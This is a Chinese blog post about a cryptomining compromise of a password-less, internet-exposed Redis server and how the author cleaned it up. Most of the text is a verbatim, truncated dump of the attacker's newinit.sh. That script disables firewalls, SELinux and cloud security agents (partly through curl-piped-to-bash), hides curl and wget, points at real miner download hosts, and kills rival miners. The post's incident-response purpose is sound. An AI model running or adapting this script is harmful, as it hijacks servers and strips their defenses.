公网的Redis还敢不设置密码?我看你是疯了
朋友们,我有一台华为云耀服务器,闲来无事,在上面装了个redis,做一些测试研究,结果被攻击了,这还是头一回遇见,因为以前的环境还是使用内网居多。现象描述
因为头一天忙到挺晚的,电脑没有关机,所以第二天准备将电脑清理下,关一关暂时不用的软件,当看到ftp远程工具时,我整个人都精神了,你们看下:
整个人一下就精神了,我这个服务器只有一个mysql和一个redis,并且基本没有在使用,怎么就把内存沾满了,cpu还占用了一半的样子,当即我就想到,我可能被攻击了。
登录华为云控制台看看
第一个想到的就是登录控制台看看,什么时间开始被攻击的?
如上图所示大概就是前一晚的二十二点四十多开始的。
我比较惊讶的是华为云没有什么告警的机制吗?突然大流量涌入,且服务器内存都满了,它都没有任何的提示信息,还在这里展示无风险:
寻找问题
当前最重要的就是找找哪里被攻击了,其实我都很清楚,一定是昨天安装的redis了。主要是两个原因:安全组开放了全部ip的入口访问没有设置密码
那么我们就去看看redis有什么现象?
客户端工具连接一下,发现搜有的key都没啦,变成了如下的内容:
既然如此,我们不妨去redis的日志文件看看,它都经历了什么。日志在哪呢?在配置文件当中看看它的路径,结果发现自己没配,还是在默认的位置,/dev/null:
这是什么意思?这就是告诉我,谁让你不配置日志呢?现在想看根本就没有。解决问题
既然如此,我们直接解决问题好了。首先想到的是直接杀死redis的进程:[root@hecs-402944 myredis]# ps -ef|grep redis root 12810 10424 0 10:30 pts/0 00:00:00 grep --color=auto redis root 21392 1 0 3月02 ? 00:01:19 redis-server *:6379 [root@hecs-402944 myredis]# kill -9 21392
然后你会发现,并没有什么用,无论是cpu还是内存,依然高居不下。我甚至不知道怎么解决,那么就直接重启服务器吧。重启大法好啊,总算是释放了被占用的资源了。
但是一段时间后,内存占用又上去了,所以事情必然不是那么简单了。从前面的Redis中的脚本内容可以发现,cron表达式,一定是有定时任务在不断地跑,所以我沿着这条线看看服务器上面的定时任务有哪些:[root@hecs-402944 ~]# crontab -l */30 * * * * sh /etc/newinit.sh >/dev/null 2>&1
只有一个,一定是它,我们先停了它,然后看看它到底是什么内容。 [root@hecs-402944 etc]# rm -rf newinit.sh rm: 无法删除"newinit.sh": 不允许的操作
我直呼好家伙,不允许删除。
使用下面的命令查看这个文件: lsattr newinit.sh ----ia-------e-- newinit.sh
这个ia是什么意思?a:Append Only,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。 i:Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。
修改这个权限:[root@hecs-402944 etc]# chattr -ia newinit.sh -bash: /usr/bin/chattr: 权限不够
权限不让修改…,使用下面的方法去重新创建一个chattr2好了:[root@hecs-402944 etc]# cp /usr/bin/chattr /usr/bin/chattr2 [root@hecs-402944 etc]# chmod 755 /usr/bin/chattr2 [root@hecs-402944 etc]# chattr2 -i /usr/bin/chattr [root@hecs-402944 etc]# chmod 755 /usr/bin/chattr [root@hecs-402944 etc]# ls -la /usr/bin/chattr -rwxr-xr-x 1 root root 11536 9月 30 2020 /usr/bin/chattr [root@hecs-402944 etc]# lsattr /usr/bin/chattr -------------e-- /usr/bin/chattr
此时使用chattr2修改权限,再次删除定时任务文件,就可以成功了。chattr2 -ia newinit.sh
停止定时任务,居然也没有权限,真绝啊~按照下面的操作来,首先修改权限:[root@hecs-402944 etc]# lsattr /var/spool/cron/root ----ia-------e-- /var/spool/cron/root [root@hecs-402944 etc]# chattr2 -ia /var/spool/cron/root
删除定时任务,查看发现没有了[root@hecs-402944 etc]# crontab -r [root@hecs-402944 etc]# crontab -l no crontab for root
重启服务器,总算解决了。定时任务文件干了啥?
我直接贴在这了,兄弟们自己看吧,看的是触目惊心啊。
#!/bin/sh ulimit -n 65535 chmod 777 /usr/bin/chattr chmod 777 /bin/chattr iptables -F ufw disable sysctl kernel.nmi_watchdog=0 echo "0" >/proc/sys/kernel/nmi_watchdog echo "kernel.nmi_watchdog=0" >>/etc/sysctl.conf chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys chattr -iua /tmp/ chattr -iua /var/tmp/ rm -rf /tmp/addres* rm -rf /tmp/walle* rm -rf /tmp/keys rm -rf /var/log/syslog crondir="/var/spool/cron/""$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/zzhs rtdir="/etc/zzhs" bbdir="/usr/bin/curl" bbdira="/usr/bin/cd1" ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1" mv /usr/bin/wgettnt /usr/bin/wd1 mv /usr/bin/curltnt /usr/bin/cd1 mv /usr/bin/wget1 /usr/bin/wd1 mv /usr/bin/curl1 /usr/bin/cd1 mv /usr/bin/cur /usr/bin/cd1 mv /usr/bin/cdl /usr/bin/cd1 mv /usr/bin/cdt /usr/bin/cd1 mv /usr/bin/xget /usr/bin/wd1 mv /usr/bin/wge /usr/bin/wd1 mv /usr/bin/wdl /usr/bin/wd1 mv /usr/bin/wdt /usr/bin/wd1 mv /usr/bin/wget /usr/bin/wd1 mv /usr/bin/curl /usr/bin/cd1 if ps aux | grep -i "[a]liyun"; then $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i "[y]unjing"; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor else export ARCH=amd64 if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor else echo "ali cloud monitor not running" fi fi setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep "aegis" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "Yun" | awk "{print $2}" | xargs -I % kill -9 % rm -rf /usr/local/aegis miner_url="http://195.242.111.238/cleanfda/zzh" miner_url_backup="http://en2an.top:8080/cleanfda/zzh" miner_size="6006304" sh_url="http://195.242.111.238/cleanfda/newinit.sh" sh_url_backup="http://en2an.top:8080/cleanfda/newinit.sh" chattr_size="8000" sleep 1 if [ -x "$(command -v t)" ]; then mv /usr/bin/t /usr/bin/chattr fi if [ -x "$(command -v chattr)" ]; then chattr -i /usr/bin/ip6network chattr -i /usr/bin/kswaped chattr -i /usr/bin/irqbalanced chattr -i /usr/bin/rctlcli chattr -i /usr/bin/systemd-network chattr -i /usr/bin/pamdicks echo 1 > /usr/bin/ip6network echo 2 > /usr/bin/kswaped echo 3 > /usr/bin/irqbalanced echo 4 > /usr/bin/rctlcli echo 5 > /usr/bin/systemd-network echo 6 > /usr/bin/pamdicks chattr +i /usr/bin/ip6network chattr +i /usr/bin/kswaped chattr +i /usr/bin/irqbalanced chattr +i /usr/bin/rctlcli chattr +i /usr/bin/systemd-network chattr +i /usr/bin/pamdicks fi sleep 1 kill_miner_proc() { netstat -anp | grep 185.71.65.238 | awk "{print $7}" | awk -F"[/]" "{print $1}" | xargs -I % kill -9 % netstat -anp | grep 140.82.52.87 | awk "{print $7}" | awk -F"[/]" "{print $1}" | xargs -I % kill -9 % netstat -anp | grep :443 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :23 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :443 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :143 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :2222 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3333 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3389 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :5555 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6666 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6665 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6667 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :7777 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :8444 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3347 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :10008 | awk "{print $7}" | awk -F"[/]" "{print $1}" | grep -v "-" | xargs -I % kill -9 % ps.original aux | grep -v grep | grep ":13531" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep ":3333" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep ":5555" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "kworker -c" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "log_" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "systemten" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "netns" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "voltuned" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "darwin" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/dl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/ddg" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/pprt" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/ppol" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/65ccE*" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/jmx*" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/2Ne80*" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "IOFoqIgyC0zmf2UR" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "45.76.122.92" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "51.38.191.178" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "51.15.56.161" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "86s.jpg" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "aGTSGJJp" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "nMrfmnRa" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "PuNY5tm2" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "I0r8Jyyt" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "AgdgACUD" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "uiZvwxG8" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "hahwNEdB" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "BtwXn5qH" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "3XEzey2T" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "t2tKrCSZ" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "HD7fcBgg" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "zXcDajSs" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "3lmigMo" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "AkMK4A2" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "AJ2AkKe" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "HiPxCJRS" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "http_0xCC030" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "http_0xCC031" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "http_0xCC032" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "http_0xCC033" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "C4iLM4L" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "aziplcr72qjhzvin" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | awk "{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/boot/vmlinuz" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "i4b503a52cc5" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "nqscheduler" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "]" | awk "$3>10.0{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "0kwti6ut420t" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk "length($11)>19{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "[^" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "rsync" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "watchd0g" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | egrep "wnTKYg|2t3ik|qW3xT.2|ddg" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "158.69.133.18:8220" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/java" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "gitee.com" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/java" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "104.248.4.162" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "89.35.39.78" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/dev/shm/z3.sh" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "kthrotlds" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "ksoftirqds" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "netdns" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "watchdogs" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "kdevtmpfsi" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "kinsing" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "redis2" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " ps" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "x]" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " []" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/l.sh" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/zmcat" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "hahwNEdB" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "CnzFVPLF" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "CvKzzZLs" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "aziplcr72qjhzvin" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/udevd" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "sustse" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "sustse3" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "mr.sh" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "mr.sh" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "2mr.sh" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "2mr.sh" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "cr5.sh" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "cr5.sh" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "logo9.jpg" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "logo9.jpg" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "j2.conf" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "luk-cpu" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "luk-cpu" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "ficov" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "ficov" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "he.sh" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "he.sh" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "miner.sh" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "miner.sh" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "nullcrew" | grep "wget" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "nullcrew" | grep "curl" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "107.174.47.156" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "83.220.169.247" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "51.38.203.146" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "144.217.45.45" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "107.174.47.181" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "176.31.6.16" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "mine.moneropool.com" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "monerohash.com" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmrpool.eu" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep -v grep | grep "kieuanilam.me" | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep xiaoyao | awk "{print $2}" | xargs -I % kill -9 % ps auxf | grep xiaoxue | awk "{print $2}" | xargs -I % kill -9 % netstat -antp | grep "46.243.253.15" | grep "ESTABLISHED|SYN_SENT" | awk "{print $7}" | sed -e "s//.*//g" | xargs -I % kill -9 % netstat -antp | grep "176.31.6.16" | grep "ESTABLISHED|SYN_SENT" | awk "{print $7}" | sed -e "s//.*//g" | xargs -I % kill -9 % pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 % pgrep -f xzpauectgr | xargs -I % kill -9 % pgrep -f slxfbkmxtd | xargs -I % kill -9 % pgrep -f mixtape | xargs -I % kill -9 % pgrep -f addnj | xargs -I % kill -9 % pgrep -f 200.68.17.196 | xargs -I % kill -9 % pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 % pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 % pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 % pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 % pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 % pgrep -f honvbsasbf.conf | xargs -I % kill -9 % pgrep -f mqdsflm.cf | xargs -I % kill -9 % pgrep -f lower.sh | xargs -I % kill -9 % pgrep -f ./ppp | xargs -I % kill -9 % pgrep -f cryptonight | xargs -I % kill -9 % pgrep -f ./seervceaess | xargs -I % kill -9 % pgrep -f ./servceaess | xargs -I % kill -9 % pgrep -f ./servceas | xargs -I % kill -9 % pgrep -f ./servcesa | xargs -I % kill -9 % pgrep -f ./vsp | xargs -I % kill -9 % pgrep -f ./jvs | xargs -I % kill -9 % pgrep -f ./pvv | xargs -I % kill -9 % pgrep -f ./vpp | xargs -I % kill -9 % pgrep -f ./pces | xargs -I % kill -9 % pgrep -f ./rspce | xargs -I % kill -9 % pgrep -f ./haveged | xargs -I % kill -9 % pgrep -f ./jiba | xargs -I % kill -9 % pgrep -f ./watchbog | xargs -I % kill -9 % pgrep -f ./A7mA5gb | xargs -I % kill -9 % pgrep -f kacpi_svc | xargs -I % kill -9 % pgrep -f kswap_svc | xargs -I % kill -9 % pgrep -f kauditd_svc | xargs -I % kill -9 % pgrep -f kpsmoused_svc | xargs -I % kill -9 % pgrep -f kseriod_svc | xargs -I % kill -9 % pgrep -f kthreadd_svc | xargs -I % kill -9 % pgrep -f ksoftirqd_svc | xargs -I % kill -9 % pgrep -f kintegrityd_svc | xargs -I % kill -9 % pgrep -f jawa | xargs -I % kill -9 % pgrep -f oracle.jpg | xargs -I % kill -9 % pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 % pgrep -f 188.209.49.54 | xargs -I % kill -9 % pgrep -f 181.214.87.241 | xargs -I % kill -9 % pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 % pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 % pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 % pgrep -f servim | xargs -I % kill -9 % pgrep -f kblockd_svc | xargs -I % kill -9 % pgrep -f native_svc | xargs -I % kill -9 % pgrep -f ynn | xargs -I % kill -9 % pgrep -f 65ccEJ7 | xargs -I % kill -9 % pgrep -f jmxx | xargs -I % kill -9 % pgrep -f 2Ne80nA | xargs -I % kill -9 % pgrep -f sysstats | xargs -I % kill -9 % pgrep -f systemxlv | xargs -I % kill -9 % pgrep -f watchbog | xargs -I % kill -9 % pgrep -f OIcJi1m | xargs -I % kill -9 % pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f XJnRj pkill -f mgwsl pkill -f pythno pkill -f jweri pkill -f lx26 pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f polkitd pkill -f nanoWatch pkill -f zigw pkill -f devtool pkill -f devtools pkill -f systemctI pkill -f watchbog pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmrig-cpu pkill -f 121.42.151.137 pkill -f init12.cfg pkill -f nginxk pkill -f tmp/wc.confz pkill -f xmrig-notls pkill -f xmr-stak pkill -f suppoie pkill -f zer0day.ru pkill -f dbus-daemon--system pkill -f nullcrew pkill -f systemctI pkill -f kworkerds pkill -f init10.cfg pkill -f /wl.conf pkill -f crond64 pkill -f sustse pkill -f vmlinuz pkill -f exin pkill -f apachiii pkill -f crypto pkill -f tntrecht pkill -f xr pkill -f svcupdate pkill -9 cnrig rm -rf /usr/bin/config.json rm -rf /usr/bin/exin rm -rf /tmp/wc.conf rm -rf /tmp/log_rot rm -rf /tmp/apachiii rm -rf /tmp/sustse rm -rf /tmp/php rm -rf /tmp/p2.conf rm -rf /tmp/pprt rm -rf /tmp/ppol rm -rf /tmp/javax/config.sh rm -rf /tmp/javax/sshd2 rm -rf /tmp/.profile rm -rf /tmp/1.so rm -rf /tmp/kworkerds rm -rf /tmp/kworkerds3 rm -rf /tmp/kworkerdssx rm -rf /tmp/xd.json rm -rf /tmp/syslogd rm -rf /tmp/syslogdb rm -rf /tmp/65ccEJ7 rm -rf /tmp/jmxx rm -rf /tmp/2Ne80nA rm -rf /tmp/dl rm -rf /tmp/ddg rm -rf /tmp/systemxlv rm -rf /tmp/systemctI rm -rf /tmp/.abc rm -rf /tmp/osw.hb rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/.java rm -rf /tmp/.omed rm -rf /tmp/.tmpc rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/gates.lod rm -rf /tmp/conf.n rm -rf /tmp/devtool rm -rf /tmp/devtools rm -rf /tmp/fs rm -rf /tmp/.rod rm -rf /tmp/.rod.tgz rm -rf /tmp/.rod.tgz.1 rm -rf /tmp/.rod.tgz.2 rm -rf /tmp/.mer rm -rf /tmp/.mer.tgz rm -rf /tmp/.mer.tgz.1 rm -rf /tmp/.hod rm -rf /tmp/.hod.tgz rm -rf /tmp/.hod.tgz.1 rm -rf /tmp/84Onmce rm -rf /tmp/C4iLM4L rm -rf /tmp/lilpip rm -rf /tmp/3lmigMo rm -rf /tmp/am8jmBP rm -rf /tmp/tmp.txt rm -rf /tmp/baby rm -rf /tmp/.lib rm -rf /tmp/systemd rm -rf /tmp/lib.tar.gz rm -rf /tmp/baby rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.mynews1234 rm -rf /tmp/a3e12d rm -rf /tmp/.pt rm -rf /tmp/.pt.tgz rm -rf /tmp/.pt.tgz.1 rm -rf /tmp/go 